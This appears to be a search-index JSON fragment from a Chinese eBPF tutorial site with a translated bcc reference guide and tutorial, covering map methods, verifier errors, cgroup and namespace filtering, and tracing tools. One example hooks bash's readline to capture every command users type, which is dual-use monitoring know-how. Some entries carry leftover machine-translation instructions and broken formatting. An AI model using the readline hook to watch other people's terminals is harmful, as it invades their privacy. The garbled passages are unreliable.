ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在原地的示例: 在/examples中搜索 ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"347","title":"12. open_ring_buffer()"},"348":{"body":"语法: table.push(leaf, flags=0) 将元素推入堆栈或队列表。如果操作不成功，会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素，如果表已满。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"348","title":"13. push()"},"349":{"body":"语法: leaf = table.pop() 从堆栈或队列表中弹出一个元素。与peek()不同，pop()在返回元素之前会将其从表中移除。如果操作不成功，会引发KeyError异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"349","title":"14. pop()"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include \n#include \n#include  #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"350":{"body":"语法: leaf = table.peek() 查看堆栈或队列表头部的元素。与pop()不同，peek()不会将元素从表中移除。如果操作不成功，会引发异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"350","title":"15. peek()"},"351":{"body":"一些由bcc提供的辅助方法。请注意，因为我们在Python中，我们可以导入任何Python库及其方法，包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。","breadcrumbs":"bcc Reference Guide » 辅助方法","id":"351","title":"辅助方法"},"352":{"body":"语法: BPF.ksym(addr) 将内核内存地址转换为内核函数名称，并返回该名称。 示例: 格式: 只返回转换后的内容，不包括原始文本。```markdown\nprint(\"内核函数：\" + b.ksym(addr)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"352","title":"1. ksym()"},"353":{"body":"语法：BPF.ksymname(name) 将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时，返回-1。 例子： print(\"内核地址：%x\" % b.ksymname(\"vfs_read\")) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"353","title":"2. ksymname()"},"354":{"body":"语法：BPF.sym(addr, pid, show_module=False, show_offset=False) 将内存地址翻译为pid的函数名称，并返回。小于零的pid将访问内核符号缓存。show_module和show_offset参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为False。 例子： print(\"函数：\" + b.sym(addr, pid)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"354","title":"3. sym()"},"355":{"body":"语法：BPF.num_open_kprobes() 返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时，可以发挥作用。不包括perf_events读取器。 例子： b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0个函数与\\\"%s\\\"匹配。程序退出。\" % args.pattern) exit() 例子：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"355","title":"4. num_open_kprobes()"},"356":{"body":"语法: BPF.get_syscall_fnname(name : str) 返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀，并与系统调用名连接起来。请注意，返回值可能在不同版本的Linux内核中有所不同，有时会引起问题。 （见 #2590 ） 示例: print(\"在内核中，%s 的函数名是 %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone 或 __x64_sys_clone 或 ... 现场示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"356","title":"5. get_syscall_fnname()"},"357":{"body":"请参阅内核源码中的“Understanding eBPF verifier messages”部分，位于 Documentation/networking/filter.txt。","breadcrumbs":"bcc Reference Guide » BPF 错误","id":"357","title":"BPF 错误"},"358":{"body":"这可能是因为试图直接读取内存，而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递，以将内核内存复制到BPF堆栈中，在一些简单关联的情况下，bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。 示例: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in  b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload()\".\n/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 612 行，_trace_autoload 中： fn = self.load_func(func_name, BPF.KPROBE) 文件 \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 212 行，load_func 中： raise Exception(\"加载 BPF 程序 %s 失败\" % func_name)\nException: 加载 BPF 程序 kretprobe__inet_csk_accept 失败","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"358","title":"1. Invalid mem access"},"359":{"body":"当非 GPL BPF 程序调用 GPL-only 辅助函数时，会出现此错误。要修复此错误，请勿在专有 BPF 程序中使用 GPL-only 辅助函数，或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 BPF helpers 是 GPL-only 的，并且哪些许可证被视为 GPL-compatible。 示例，从专有程序（#define BPF_LICENSE Proprietary）调用 bpf_get_stackid()，一种 GPL-only 的 BPF helper： bpf: 加载程序失败：无效参数\n[...]\n8: (85) 调用 bpf_get_stackid#27\n无法从专有程序调用 GPL-only 函数","breadcrumbs":"bcc Reference Guide » 2. 无法从专有程序调用 GPL-only 函数","id":"359","title":"2. 无法从专有程序调用 GPL-only 函数"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"360":{"body":"","breadcrumbs":"bcc Reference Guide » 环境变量","id":"360","title":"环境变量"},"361":{"body":"eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置，可以通过将 BCC_KERNEL_SOURCE 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。","breadcrumbs":"bcc Reference Guide » 1. 内核源代码目录","id":"361","title":"1. 内核源代码目录"},"362":{"body":"默认情况下，BCC 将 LINUX_VERSION_CODE 存储在生成的 eBPF 对象中，并在加载 eBPF 程序时传递给内核。有时，这可能非常不方便，尤其是当内核略有更新时，比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 BCC_LINUX_VERSION_CODE 设置为正在运行的内核版本，可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL的格式进行编码。例如，如果当前运行的内核是4.9.10，则可以设置export BCC_LINUX_VERSION_CODE=264458以成功地覆盖内核版本检查。","breadcrumbs":"bcc Reference Guide » 2. 内核版本覆盖","id":"362","title":"2. 内核版本覆盖"},"363":{"body":"某些工具具有特殊的过滤能力，主要用例是跟踪运行在容器中的进程，但这些机制是通用的，也可以在其他情况下使用。","breadcrumbs":"Special Filtering » 特殊过滤","id":"363","title":"特殊过滤"},"364":{"body":"某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 命令示例： # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 上述命令将仅显示属于一个或多个cgroup的进程的结果，这些cgroup的ID由bpf_get_current_cgroup_id()返回，并存在固定的BPF哈希映射中。 通过以下方式创建BPF哈希映射： # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 要在新cgroup中获取一个shell，可以使用： # systemd-run --pty --unit test bash 该shell将在cgroup/sys/fs/cgroup/unified/system.slice/test.service中运行。 可以使用name_to_handle_at()系统调用来发现cgroup ID。在examples/cgroupid中，您可以找到一个获取cgroup ID的程序示例。 # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 或者，使用Docker： # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 这将以主机的字节序(hexadecimal string)打印出cgroup ID，例如77 16 00 00 01 00 00 00。 # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 现在，通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中，bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 这个功能对于将bcc工具集成到外部项目中非常有用。","breadcrumbs":"Special Filtering » 按 cgroups过滤","id":"364","title":"按 cgroups过滤"},"365":{"body":"BPF哈希映射可以通过以下方式创建： # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 仅执行execsnoop工具，过滤挂载命名空间在/sys/fs/bpf/mnt_ns_set中： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 在新的挂载命名空间中启动一个终端： # unshare -m bash 使用上述终端的挂载命名空间ID更新哈希映射： FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 在这个终端中执行命令： # ping kinvolk.io 你会看到在上述你启动的execsnoop终端中，这个调用被记录下来： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io\n```。","breadcrumbs":"Special Filtering » 按命名空间选择挂载点进行过滤","id":"365","title":"按命名空间选择挂载点进行过滤"},"366":{"body":"本教程介绍如何使用 bcc 工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具，请参考 tutorial_bcc_python_developer.md 教程。 本教程假设bcc已经安装好，并且你可以成功运行像execsnoop这样的工具。参见 INSTALL.md 。这些功能是在Linux 4.x系列中增加的。","breadcrumbs":"bcc Tutorial » bcc 教程","id":"366","title":"bcc 教程"},"367":{"body":"一些快速的收获。","breadcrumbs":"bcc Tutorial » 可观察性","id":"367","title":"可观察性"},"368":{"body":"在使用bcc之前，你应该从Linux基础知识开始。可以参考 Linux Performance Analysis in 60,000 Milliseconds 文章，其中介绍了以下命令： uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. 使用bcc之前","id":"368","title":"0. 使用bcc之前"},"369":{"body":"这是一个用于性能调查的通用检查清单，首先有一个列表，然后详细描述： execsnoop opensnoop ext4slower（或btrfs*，xfs*，zfs*） biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile 这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下，或者你可以从bcc github仓库的/tools目录中运行它们，这些工具使用.py扩展名。浏览50多个可用的工具，获得更多的分析选项。 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源，但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪exec()来工作，而不是fork()，所以它可以捕获许多类型的新进程，但不是所有类型（例如，它不会看到启动工作进程的应用程序，该应用程序没有exec()其他任何内容）。 更多 例子 。 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop每次open() syscall执行时打印一行输出，包括详细信息。 打开的文件可以告诉你很多关于应用程序的工作方式的信息：它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常，当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。 更多 例子 。 1.3. ext4slower（或btrfs*，xfs*，zfs*） # ./ext4slower\n追踪超过10毫秒的ext4操作\n时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower跟踪ext4文件系统，并计时常见操作，然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便：通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O，很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪，即在 VFS -> 文件系统接口中，会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。 在 bcc 中存在其他文件系统的类似工具：btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具，它在 VFS 层工作并跟踪所有内容（尽管会有更高的开销）。 更多 示例 。 1.4. biolatency # ./biolatency\n跟踪块设备的 I/O... 按 Ctrl-C 结束。\n^C 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency跟踪磁盘I/O延迟（从设备执行到完成的时间），当工具结束（Ctrl-C，或给定的间隔）时，它会打印延迟的直方图摘要。 这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值，以及多种模式的分布。 更多 示例 。 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop为每个磁盘I/O打印一行输出，其中包括延迟（从设备执行到完成的时间）等详细信息。 这让您可以更详细地研究磁盘I/O，并寻找按时间排序的模式（例如，读取在写入后排队）。请注意，如果您的系统以高速率执行磁盘I/O，则输出将冗长。 更多 示例 。 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223\"。\n格式：仅返回翻译后的内容，不包括原始文本。```\n7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat 每秒（或每个自定义时间间隔）打印一行摘要，显示文件系统缓存的统计信息。 可以用它来识别低缓存命中率和高缺失率，这是性能调优的线索之一。 更多 示例 。 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect 每个活动的 TCP 连接（例如通过 connect()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept 每个被动的 TCP 连接（例如通过 accept()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.9. tcpretrans # ./tcpretrans\".\n```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立\n[...] tcpretrans为每个TCP重传数据包打印一行输出，其中包括源地址、目的地址以及TCP连接的内核状态。 TCP重传会导致延迟和吞吐量问题。对于已建立的重传，可以查找与网络有关的模式。对于SYN_SENT，可能指向目标内核CPU饱和和内核数据包丢失。 更多 示例 。 1.10. runqlat # ./runqlat\n跟踪运行队列延迟... 按Ctrl-C结束。\n^C 微秒数 : 计数 分布 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* |\".16384 -> 32767 : 809 |****************************************|\n32768 -> 65535 : 64 |*** | 这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。 更多 示例 。 1.11. 分析 # ./profile\n以每秒49次的频率对所有线程进行采样，包括用户和内核栈...按Ctrl-C结束。\n^C 00007f31d76c3251 [未知] 47a2c1e752bf47f7 [未知] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [未知] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile是一个CPU分析工具，它在定时间隔内采样堆栈跟踪，并打印唯一堆栈跟踪的摘要及其出现次数。 使用此工具来了解消耗CPU资源的代码路径。 更多 示例 。","breadcrumbs":"bcc Tutorial » 1. 性能分析","id":"369","title":"1. 性能分析"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"370":{"body":"除了上述用于性能调整的工具外，下面是一个bcc通用工具的清单，首先是一个列表，然后详细说明： trace argdist funccount这些通用工具可能有助于解决您特定问题的可视化。 2.1. 跟踪 示例 1 假设您想要跟踪文件所有权更改。有三个系统调用，chown、fchown和lchown，用户可以使用它们来更改文件所有权。相应的系统调用入口是SyS_[f|l]chown。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用id命令查找特定用户的UID。 $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, to_uid = 128203, to_gid = 100, from_uid = 128203 示例 2 假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换（nvcsw），而您不知道正确的方法是什么。/proc//status已经告诉您进程的非自愿上下文切换（nonvoluntary_ctxt_switches）的数量，并且您可以使用trace.py进行快速实验以验证您的方法。根据内核源代码，nvcsw在文件linux/kernel/sched/core.c的__schedule函数中计数，并满足以下条件： .!(!preempt && prev->state) // 即 preempt || !prev->state __schedule 函数被标记为 notrace ，评估上述条件的最佳位置似乎在函数 __schedule 内部的 sched/sched_switch 跟踪点中，并且在 linux/include/trace/events/sched.h 中定义。trace.py 已经将 args 设置为跟踪点 TP_STRUCT__entry 的指针。函数 __schedule 中的上述条件可以表示为 args->prev_state == TASK_STATE_MAX || args->prev_state == 0 可以使用以下命令来计算非自愿上下文切换（每个进程或每个进程ID），并与 /proc//status 或 /proc//task//status 进行比较，以确保正确性，因为在典型情况下，非自愿上下文切换并不常见。 $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... 示例 3 此示例与问题 1231 和 1516 相关，其中在某些情况下，uprobes 完全无法工作。首先，你可以执行以下 strace $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... perf_event_open系统调用返回-EIO。在/kernel/trace和/kernel/events目录中查找与EIO相关的内核uprobe代码，函数uprobe_register最可疑。让我们找出是否调用了这个函数，如果调用了，返回值是什么。在一个终端中使用以下命令打印出uprobe_register的返回值： trace.py 'r::uprobe_register \"ret = %d\", retval' 在另一个终端中运行相同的bash uretprobe跟踪示例，您应该得到： $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 错误代码-5是EIO。这证实了函数uprobe_register中的以下代码是最可疑的罪魁祸首。 if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; shmem_mapping函数定义如下： bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} 为了确认这个理论，使用以下命令找出inode->i_mapping->a_ops的值： $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops 内核符号empty_aops没有定义readpage，因此上述可疑条件为真。进一步检查内核源代码显示，overlayfs没有提供自己的a_ops，而其他一些文件系统（例如ext4）定义了自己的a_ops（例如ext4_da_aops），并且ext4_da_aops定义了readpage。因此，uprobe对于ext4正常工作，但在overlayfs上不正常工作。 更多 示例 。 2.2. argdist\"。更多 示例 2.3. funccount 更多 示例 .","breadcrumbs":"bcc Tutorial » 2. 